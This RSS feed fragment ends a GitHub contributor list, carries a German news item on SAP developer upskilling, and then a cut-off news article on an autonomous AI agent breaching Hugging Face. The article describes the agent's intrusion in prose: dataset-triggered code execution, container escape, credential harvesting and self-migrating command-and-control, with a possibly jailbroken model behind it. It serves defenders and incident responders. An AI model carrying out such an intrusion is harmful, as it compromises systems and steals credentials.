<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/geoffreybutler94/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/geoffreybutler94">@geoffreybutler94</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/georgedrury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/georgedrury">@georgedrury</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gigakun3030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gigakun3030">@gigakun3030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Git-on-my-level/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Git-on-my-level">@Git-on-my-level</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gitcommit90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gitcommit90">@gitcommit90</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/githubespresso407/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/githubespresso407">@githubespresso407</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gnodet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gnodet">@gnodet</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GottZ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GottZ">@GottZ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gridzilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gridzilla">@Gridzilla</a>, @grimmjoww578, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumclaw">@gumclaw</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DSAG warnt vor Bildungsschulden bei SAP-Entwicklern]]></title>
<description><![CDATA[width="1024" height="682" sizes="auto, (max-width: 1024px) 100vw, 1024px">Die DSAG fordert Unternehmen auf, ihre ABAP-Entwickler gezielt für moderne SAP-Technologien wie Clean Core und ABAP Cloud weiterzubilden.SAP



Viele Unternehmen investieren derzeit mehrstellige Millionenbeträge in die Mode...]]></description>
<link>https://tsecurity.de/de/3681715/it-security-nachrichten/dsag-warnt-vor-bildungsschulden-bei-sap-entwicklern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681715/it-security-nachrichten/dsag-warnt-vor-bildungsschulden-bei-sap-entwicklern/</guid>
<pubDate>Mon, 20 Jul 2026 19:01:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"> width="1024" height="682" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Die DSAG fordert Unternehmen auf, ihre ABAP-Entwickler gezielt für moderne SAP-Technologien wie Clean Core und ABAP Cloud weiterzubilden.</figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">Viele Unternehmen investieren derzeit mehrstellige Millionenbeträge in die Modernisierung ihrer SAP-Landschaften. Doch nach Einschätzung der Deutschsprachigen SAP-Anwendergruppe (<a href="https://dsag.de/" target="_blank" rel="noreferrer noopener">DSAG</a>) wird dabei ein entscheidender Erfolgsfaktor häufig unterschätzt: die Qualifizierung der eigenen Entwickler.</p>



<p class="wp-block-paragraph">In einer neuen <a href="https://impulsant.dsag.de/wp-content/uploads/2026/07/CIO-Upskilling.pdf" target="_blank" rel="noreferrer noopener">Handlungsempfehlung</a> fordert der Anwenderverband CIOs auf, die Weiterbildung von SAP-Entwicklern nicht als freiwillige Schulungsmaßnahme, sondern als strategisches Investitionsprogramm zu behandeln. Gut ausgebildete Entwickler seien die Voraussetzung für stabile, wartbare Eigenentwicklungen ohne wachsende technische Schulden. Ohne Fortbildung beim Upgrade auf S/4HANA blieben die Potenziale der neuen Technologien ungenutzt.</p>



<h2 class="wp-block-heading">Veraltetes Know-how wird zum Projektrisiko</h2>



<p class="wp-block-paragraph">Wie die Autoren ausführen, verfügen zwar viele ABAP-Entwickler über jahrzehntelange Erfahrung mit SAP R/3 oder ECC und besäßen umfangreiches Prozesswissen. Mit S/4HANA, Clean Core und ABAP Cloud hätten sich die Entwicklungsparadigmen jedoch grundlegend verändert.</p>



<p class="wp-block-paragraph">Langfristig drohe dies zu schlechten Architekturentscheidungen, aufwendigen Workarounds und Eigenentwicklungen, die bei jedem Release nachgepflegt werden müssten, zu führen, so die DSAG. Auch viele Business Consultants orientierten sich noch zu stark an klassischen GUI-Transaktionen und berücksichtigten moderne Fiori-Technologien zu wenig.</p>



<p class="wp-block-paragraph">Die Folge seien sogenannte “Bildungsschulden”, meint die SAP-Anwendervereinigung. Diese blieben zunächst unsichtbar, machten sich später jedoch in Form längerer Projekte, steigender Wartungskosten und einer wachsenden Abhängigkeit von externen Dienstleistern bemerkbar.</p>



<h2 class="wp-block-heading">Kompetenzaufbau darf nicht erst im Projekt beginnen</h2>



<p class="wp-block-paragraph">Besonders kritisch sehen die DSAG-Autoren den Zeitpunkt der Weiterbildung. Wer erst während eines laufenden S/4HANA-Migrationsprojekts mit dem Kompetenzaufbau beginne, erhöhe das Projektrisiko erheblich. Fehlendes Wissen über CDS, RAP oder Fiori führe zu Architekturentscheidungen, die später teuer korrigiert werden müssten. Gleichzeitig lasse sich der notwendige Lernaufwand kaum parallel zum Tagesgeschäft bewältigen.</p>



<p class="wp-block-paragraph">Aber auch nach abgeschlossener Migration müssen sich die SAP-Entwickler laut DSAG weiter fortbilden. Wer danach so weiterarbeite wie auf ECC, verpasse die Möglichkeiten aktueller SAP-Technologien – auch wenn technisch alles noch funktioniere, warnen die Autoren. Gleichzeitig könnten sie das Gelernte gleich anwenden, womit sich das neue Wissen verfestigt.</p>



<h2 class="wp-block-heading">KI ersetzt keine Entwicklerkompetenz</h2>



<p class="wp-block-paragraph">Laut DSAG gilt auch für die Entwicklung im SAP-Umfeld: KI-Werkzeuge können zwar Code erzeugen und erklären. Voraussetzung sei dabei jedoch, dass Entwickler die Ergebnisse auch fachlich bewerten könnten. „Nur wer versteht, was guter SAP-Code ist, kann KI als Beschleuniger einsetzen“, so die Autoren. Andernfalls fungiere KI als Risikoverstärker und beschleunige im schlimmsten Fall lediglich die Entstehung technischer Schulden.</p>



<p class="wp-block-paragraph">Voraussetzung für den erfolgreichen KI-Einsatz seien deshalb solide Software-Engineering-Kenntnisse, automatisierte Tests und ein Verständnis moderner SAP-Entwicklung.</p>



<h2 class="wp-block-heading">Die fünf Empfehlungen der DSAG</h2>



<p class="wp-block-paragraph">Die DSAG empfiehlt CIOs deshalb, Weiterbildung fest in ihre Transformationsstrategie zu integrieren. Konkret nennt der Verband fünf Maßnahmen, nämlich:</p>



<ul class="wp-block-list">
<li><strong>verbindliche Lernpfade</strong> für unterschiedliche Rollen wie ABAP-, CAP- oder Integrationsentwickler sowie Business Consultants zu definieren,</li>



<li><strong>geeignete Sandbox- und Testumgebungen</strong> bereitzustellen,</li>



<li>Fortbildungszeiten <strong>verbindlich in die Kapazitätsplanung aufzunehmen</strong>,</li>



<li>Schulungen <strong>zeitlich mit Migrations- und Modernisierungsprojekten zu verzahnen</strong>, sowie</li>



<li>bestehende <strong>DSAG-Leitfäden als Referenzrahmen für die Entwicklung zu nutzen</strong>.</li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]></title>
<description><![CDATA[Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploi...]]></description>
<link>https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.</p><p>The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.</p><p>Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.</p><p>None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”</p><h2><b>A malicious dataset opened two code-execution paths</b></h2><p>On July 16, Hugging Face <a href="https://huggingface.co/blog/security-incident-july-2026">disclosed</a> that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces. </p><p>Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.</p><p>The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.</p><p>Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion. </p><h2><b>Why the defenders’ queries looked like attacks</b></h2><p>Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.</p><p>First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.</p><p>Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”</p><h2><b>The forensic analysis finished on GLM 5.2</b></h2><p>GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.</p><h2><b>What authenticated trust changes</b></h2><p>The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”</p><p>“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”</p><p>Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”</p><h2><b>AI-enabled attacks rose 89% year-over-year</b></h2><p>Autonomous AI-driven attacks are not limited to AI platforms. <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2026 Global Threat Report</a> documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.</p><p>Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.</p><h2><b>AI Pipeline Breach Response Playbook</b></h2><table><tbody><tr><td><p><b>Control Domain</b></p></td><td><p><b>What Broke</b></p></td><td><p><b>Monday Action</b></p></td></tr><tr><td><p>Dataset admission controls</p></td><td><p>Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.</p></td><td><p>Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.</p></td></tr><tr><td><p>Worker-to-node privilege boundaries</p></td><td><p>Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.</p></td><td><p>Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.</p></td></tr><tr><td><p>Credential exposure</p></td><td><p>Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.</p></td><td><p>Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.</p></td></tr><tr><td><p>Machine-speed detection</p></td><td><p>Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.</p></td><td><p>Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of 